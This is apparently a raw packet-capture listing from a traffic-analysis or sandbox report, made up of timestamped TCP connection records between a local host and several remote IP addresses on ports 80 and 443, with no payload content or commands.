Nov 16, 2024 13:01:39.998368979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998368979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998409986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998471022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998481989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998492002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998507977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998512030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998518944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998529911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998542070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998552084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998562098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998562098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998564959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998574972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998580933 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998595953 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998609066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998620033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998627901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998648882 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998650074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998667955 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998759985 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.998785019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998802900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998820066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998831034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998835087 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.998841047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998846054 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998847008 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998857975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998867989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998878956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998888969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998892069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998892069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998899937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998933077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998934984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998934984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998943090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998956919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998972893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998982906 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.998991013 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998991013 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.998994112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999006987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999015093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999018908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999031067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999042988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999053001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999059916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999059916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999063969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999075890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999082088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999089003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999099016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999109983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999120951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999121904 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999121904 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999131918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999156952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999160051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999175072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999237061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999382019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999397993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999408960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999418020 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999428988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999439955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999449968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999450922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999450922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999460936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999471903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999486923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999495983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999495983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999501944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999514103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999525070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999527931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999552965 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999557972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999557972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999563932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999574900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999584913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999596119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999605894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999614000 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999614000 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999618053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999630928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999640942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999651909 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999658108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999658108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999663115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999675989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999676943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999686956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999690056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999722004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999725103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999733925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999766111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999766111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999808073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999829054 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999840021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999852896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999860048 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999860048 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999876976 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999908924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.999936104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999953032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999973059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.999984026 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000001907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000005960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000005960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000022888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000036001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000046015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000053883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000053883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000058889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000071049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000082970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000085115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000128984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000128984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000142097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000154018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000164986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000175953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000188112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000200033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000210047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000210047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000212908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000226021 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000251055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000262976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000267982 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000299931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000310898 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000410080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000421047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000432968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000451088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000461102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000480890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000480890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000480890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000507116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000535965 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000540018 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000549078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000560999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000572920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000603914 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000629902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000649929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000663042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000674963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000713110 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000713110 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000730991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000741959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000752926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000768900 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000782967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000801086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000801086 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000813007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000823021 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000823975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000838041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000839949 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000893116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000893116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000926018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000937939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000948906 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000963926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000979900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.000984907 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.000993013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001035929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001035929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001358986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001379013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001389980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001399994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001530886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001543045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001554012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001559973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001559973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001566887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001580954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001591921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001604080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001606941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001606941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001640081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001640081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001687050 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001698971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001708984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001719952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001730919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001737118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001737118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001744032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001760006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001768112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001773119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001785040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001796961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001806021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001816034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001823902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001823902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001831055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001844883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001844883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001857042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001876116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001885891 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001892090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001903057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.001904011 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001914024 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.001945972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.003588915 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.003602028 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.004038095 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.004082918 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.004137039 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.007808924 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.007915020 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.008583069 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.008850098 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.010720015 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.010922909 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.011002064 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.011039019 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.011540890 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.011562109 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.012444019 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.012464046 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.012986898 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.013700008 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.013712883 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.013780117 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.014174938 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.014275074 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.014292002 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.014888048 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.014902115 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.014991999 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.015270948 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.016498089 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.016571045 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.016824007 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.024372101 CET	49910	443	192.168.2.5	23.198.7.187
Nov 16, 2024 13:01:40.024452925 CET	443	49910	23.198.7.187	192.168.2.5
Nov 16, 2024 13:01:40.024590969 CET	49910	443	192.168.2.5	23.198.7.187
Nov 16, 2024 13:01:40.025111914 CET	49910	443	192.168.2.5	23.198.7.187
Nov 16, 2024 13:01:40.025142908 CET	443	49910	23.198.7.187	192.168.2.5
Nov 16, 2024 13:01:40.046854019 CET	443	49893	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.046919107 CET	443	49893	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.046977043 CET	49893	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.051647902 CET	443	49891	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.052545071 CET	49891	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.052558899 CET	443	49891	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.053230047 CET	443	49891	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.055499077 CET	49891	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.059328079 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.059329033 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.059340954 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.116357088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116375923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116384983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116431952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116444111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116482019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116494894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116522074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116522074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116560936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116571903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116586924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116588116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116600990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116617918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116625071 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116625071 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116630077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116642952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116653919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116669893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116669893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116700888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116744041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116781950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116792917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116813898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116823912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116831064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116831064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116837978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116849899 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116852045 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116867065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116875887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116892099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116892099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116945982 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.116974115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.116990089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117001057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117012024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117022038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117032051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117042065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117049932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117049932 CET	49802	80	192.168.2.5	185.215.113.206
